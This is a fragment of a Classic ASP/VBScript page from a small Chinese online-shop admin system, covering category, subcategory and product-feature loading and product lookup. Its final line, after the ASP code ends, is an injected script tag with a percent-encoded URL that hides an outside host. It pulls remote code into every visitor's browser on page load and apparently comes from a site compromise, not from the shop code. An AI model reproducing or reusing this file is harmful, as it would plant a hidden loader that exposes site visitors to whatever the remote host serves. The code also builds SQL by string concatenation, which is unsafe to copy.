shopa_addproduct.asp

vb的一个事例,简单了一点,但实用的一个电子超市系统

end if
   SQL = "SELECT * from categories"
   categorycount=0
   Set rsCat = myconn.Execute(SQL)
   redim Categories(cMaxCategories)
   redim CategoryNums(cMaxCategories)
   categorycount=0
   Do While NOT rscat.EOF
    Categories(categorycount)=  RScat("商品类别")
    categorynums(categorycount)= rscat("类别ID")
'  Debugwrite categories(categorycount)
   categorycount=categorycount+1
   rscat.movenext
   loop
   Session("categories")=categories
   Session("categorynums")=categorynums
   Session("categorycount")=categorycount
   rscat.close
   set rscat=nothing
  
end sub

Sub GetSubCategories
' get categories from database and store in array for quicker access
dim sql
dim rsCat
on error resume next
If IsArray(Session("ABCSubcategories"))  then
   subcategories=Session("subcategories")
   subcategorycount=session("subcategorycount")
   subcategorynums=Session("subcategorynums")
   exit sub
end if
   SQL = "SELECT * from Subcategories"
   subcategorycount=0
   Set rsCat = myconn.Execute(SQL)
   redim SubCategories(cMaxSubCategories)
   redim SubCategoryNums(cMaxSubCategories)
   subcategorycount=0
   Do While NOT rscat.EOF
   if err.number> 0 then
       exit sub
   end if
    SubCategories(subcategorycount)=  RScat("子类别")
    Subcategorynums(Subcategorycount)= rscat("子类别id")
'  Debugwrite categories(Subcategorycount)
   subcategorycount=subcategorycount+1
   rscat.movenext
   loop
   Session("Subcategories")=Subcategories
   Session("Subcategorynums")=Subcategorynums
   Session("Subcategorycount")=subcategorycount
   rscat.close
   set rscat=nothing
end sub
'********************************
Sub GetFeatures
dim sql
dim rsCat
'if Session("features") <> "" then
'    Features=Session("Features")
'    Featurecount=Session("featurecount")
'    exit sub
' end if
SQL = "SELECT DISTINCT 特征号, 特征描述 from ProdFeatures Order by 特征描述"
featurecount=0
Set rsCat = myconn.Execute(SQL)
if not rscat.eof then
    redim Features(cMaxFeatureCaptions)
else
    featurecount=0
end if
Do While NOT rscat.EOF
   Features(featurecount)=  RScat("特征描述") & " [" & rscat("特征号") & "]"
'  Debugwrite Features(featurecount)
   featurecount=featurecount+1
   rscat.movenext
loop
rscat.close
set rscat=nothing
Session("Featurecount")=featurecount
Session("Features")=features
end sub
Sub RowHeader (Header)
Dim srowColor
srowColor="2C6750"
Response.Write("<tr bgcolor=" & sRowColor &"><td colspan=2><div align=center>" & header&"</div>")
end sub
'
Sub GetProductCategory
' Need to get category number from array for update
Dim CategoryName
lngcCategory=""
if strcategory="" or strCategory=cSelect then
   exit sub
end if
'locate category in category table
'debugwrite "category count=" & categorycount
for i = 0 to categorycount-1
' debugwrite "searching for " & strcategory & "matching " & categories(i)
  if strcategory=categories(i) then
       lngCCategory=categorynums(i)
       exit sub
  end if
next 

Debugwrite "GetProductCategory Failed to find =" & strcategory 
end sub
'
Sub GetProductSubCategory
' Need to get category number from array for update
'locate category in category table
lngsubcategoryid=""
If strSubCategory=cSelect or strSubCategory="" then
    exit sub
end if
for i = 0 to subcategorycount-1
' debugwrite "searching for " & strsubcategory & "matching " & subcategories(i)
  if strsubcategory=subcategories(i) then
       lngsubcategoryid=subcategorynums(i)
       exit sub
  end if
next 

Debugwrite "GetProductSubcategory not found =" & strsubcategory 
end sub
Sub GetSubCategoryName
' lngubcategoryId = input
' strSubcategory=output
if lngsubcategorid="" then
   exit sub
end if
Dim SubCategoryName
'locate category in category table
for i = 0 to subcategorycount-1
  if lngsubcategoryid=subcategorynums(i) then
       strSubcategory=subcategories(i)
       exit sub
  end if
next 
lngcCategory=0
Debugwrite "subcategory not found =" & lngsubcategoryid 
end sub

Sub GetProductFeatures
dim tempFeatures
dim featurecount
dim featurearry
dim featurename
dim featurenum
dim i
Dim FeaturesArray
' if user typed in features use it
if strfeatures<>"" then
    exit sub
end if
FeatureCount = Request("arrFeatures").Count
if Featurecount=0 then
   strfeatures=""
   exit sub
end if
tempFeatures=Request("arrFeatures")
FeaturesArray= Split(tempFeatures, ", ", -1, 1)
If FeaturesArray(0)="None" then
   strfeatures=""
   exit sub
end if
strfeatures=""
for i = 0 to featurecount-1
    ParseOption FeaturesArray(i), featurename, featurenum
    if strfeatures <>"" then
       strfeatures = strfeatures &","
    end if
    strfeatures=strfeatures & featurenum
next
'debugwrite strfeatures
end sub
'
Sub ParseOption (Productoption, OptionName, OptionPrice)
' Option is in Form option [$xx.yy]
Dim spos, epos
Dim namelength
OptionPrice=0
Optionname=Productoption
const bracket= "["
const bracketend= "]"
spos = instr(1,Productoption, bracket)
if spos=0 then
        exit sub
end if
Namelength=spos-1
If namelength> 0 then
  Optionname= mid(ProductOption,1,namelength)
end if
spos=spos+1
epos = instr(spos,ProductOption,bracketend)
if epos=0 then
     exit sub
end if
Length=epos-spos
OptionPrice=Mid(ProductOption,spos,length)
'Response.write OptionPrice
end sub
Sub GetExistingProduct
dim getsql
on error resume next
lngcatalogid=Session("productid")
getsql="select * from Products Where 目录ID=" & lngCatalogid
Set objRS = myconn.Execute(getsql)

	If objRS.EOF Then
		lngCatalogid = ""
		strCcode = ""
		strCname = ""
		memCdescription = ""
		curCprice = ""
		strFeatures = ""
		strCimageurl = ""
		strButtonimage = ""
		datCdateavailable = ""
		lngCstock = ""
		lngCcategory = ""
		strCategory = ""
		strWeight = ""
		strMfg = ""
		strCdescurl = ""
		strPother1 = ""
		strPother2 = ""
		strPother3 = ""
        strSyxs = ""
        lngSubcategoryID=""
	Else
'		lngCatalogid = objRS("目录ID")
		strCcode = objRS("编号")
		strCname = objRS("名称")
		memCdescription = objRS("描述")
		curCprice = objRS("价格")
		strFeatures = objRS("特征")
		strCimageurl = objRS("小图片地址")
		strButtonimage = objRS("按钮图片")
		datCdateavailable = objRS("有效日期")
		lngCstock = objRS("库存")
		lngCcategory = objRS("类别ID")
		strCategory = objRS("类别")
		strWeight = objRS("重量")
		strMfg = objRS("Mfg")
		strCdescurl = objRS("大图片地址")
		strPother1 = objRS("其他1")
		strPother2 = objRS("其他2")
		strPother3 = objRS("其他3")
        strSyxs = objRS("首页显示")
                lngSubcategoryID=objRS("子类别id")
                GetSubCategoryName
                strcategory=  objRS("类别") 
                Session("ProductID")=lngcatalogid
'               debugwrite strcategory
	End If
End Sub
'objRS.close

%>
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>